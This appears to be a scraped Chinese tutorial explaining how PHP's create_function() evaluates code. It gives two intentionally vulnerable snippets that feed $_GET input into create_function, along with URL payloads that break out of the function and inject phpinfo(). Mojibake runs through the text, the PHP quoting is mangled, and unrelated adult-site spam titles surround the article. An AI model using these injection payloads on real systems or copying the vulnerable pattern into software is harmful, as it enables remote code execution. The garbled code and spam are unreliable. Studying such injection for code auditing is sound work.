国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP create_function()函數(shù)應(yīng)用實(shí)例詳解

瀏覽:88日期:2022-06-06 09:53:37
目錄
  • 前言
  • create_function()簡(jiǎn)介
  • 函數(shù)功能
  • 代碼注入實(shí)例
    • 0x01
    • 0x02

前言

一直遇到過(guò)這個(gè) 函數(shù),但是不知道怎么利用 這回學(xué)習(xí)一下這個(gè)函數(shù)

create_function()簡(jiǎn)介

適用 PHP4>4.0.1 PHP 5 PHP7

語(yǔ)法:
create_function(string $args, string $code)
string $args 聲明的函數(shù)變量部分
string $code 執(zhí)行的方法代碼部分

函數(shù)功能

<?php$newfunc = create_function("$a,$b", "return "ln($a) + ln($b) = " . log($a * $b);");echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?>

分析:

create_function() 會(huì)創(chuàng)造一個(gè)匿名函數(shù) (lambda樣式) 此處創(chuàng)建了一個(gè)叫 lamvda_1 的函數(shù), 在第一個(gè) echo 中 顯示名字, 并在第二個(gè)echo 語(yǔ)句中執(zhí)行了 此函數(shù)。

create_function() 函數(shù) 會(huì)在內(nèi)部 執(zhí)行 eval() , 我們發(fā)現(xiàn)是執(zhí)行了 后面的 return 語(yǔ)句,屬于create_function() 中的第二個(gè)參數(shù) string $code 的位置

因此,上述匿名函數(shù)的創(chuàng)建與執(zhí)行過(guò)程等價(jià)于:

<?phpfunction lambda_1($a,$b){    return "ln($a) + ln($b) = " . log($a * $b);}?>

create_function( ) 函數(shù)在代碼審計(jì)中,主要用來(lái)查找項(xiàng)目中的代碼注入和回調(diào)后門(mén)的情況,熟悉了執(zhí)行流程, 可以實(shí)現(xiàn)對(duì)代碼注入的 payload 構(gòu)造,從而 進(jìn)行漏洞挖掘和找出存在缺陷

代碼注入實(shí)例

0x01

<?phperror_reporting(0);$sort_by = $_GET["sort_by"];$sorter = "strnatcasecmp";$databases=array("1234","4321");$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);";usort($databases, create_function("$a, $b", $sort_function));?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實(shí)際的組合過(guò)程:

$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*

匿名函數(shù)實(shí)際的執(zhí)行:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

0x02

<?php$c=$_GET["c"];$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array("reall long string here,boy","this","midding lenth","larget");usort($array,$lambda);print_r($array);?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實(shí)際的組合過(guò)程:

$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數(shù)實(shí)際的執(zhí)行:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

換行整理:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));    }    phpinfo();    /*)); }

到此這篇關(guān)于PHP create_function()函數(shù)應(yīng)用實(shí)例詳解的文章就介紹到這了,更多相關(guān)PHP create_function()函數(shù)內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
主站蜘蛛池模板: 真实国产乱人伦在线视频播放 | 国产精品三级a三级三级午夜 | 成人免费视频网 | 91原创视频在线观看 | 国产va精品网站精品网站精品 | 国产黄色小视频在线观看 | 久久99九九99九九精品 | 最新中文字幕乱码在线 | 亚洲欧美日韩久久精品第一区 | 一本伊大人香蕉高清在线观看 | 在线看亚洲 | 日本三级香港三级人妇99视 | 中国a级淫片免费播放 | 自拍第1页 | 久久精品无遮挡一级毛片 | 91热久久免费频精品黑人99 | 欧美一区二区三区免费播放 | 黄 色 成 年人网站 黄 色 免费网 站 成 人 | 久久成年视频 | 亚洲欧美男人天堂 | 久久91精品国产91久久跳舞 | 欧洲成人全免费视频网站 | 久久综合99re久久爱 | 热99re久久精品精品免费 | 欧美成人久久一级c片免费 欧美成人看片黄a免费 | 成人午夜影视 | 亚洲小视频 | 亚洲成人免费 | 毛片精品 | 国产禁女女网站免费看 | 亚洲福利影视 | 亚洲美女高清aⅴ视频免费 亚洲美女黄色片 | 国产日韩精品视频一区二区三区 | 日韩免费精品一级毛片 | 性欧美美国级毛片 | 精品国产香蕉伊思人在线 | m男亚洲一区中文字幕 | 99在线免费 | a毛片基地免费全部香蕉 | 男人的天堂欧美精品色偷偷 | 欧美三级中文字幕 |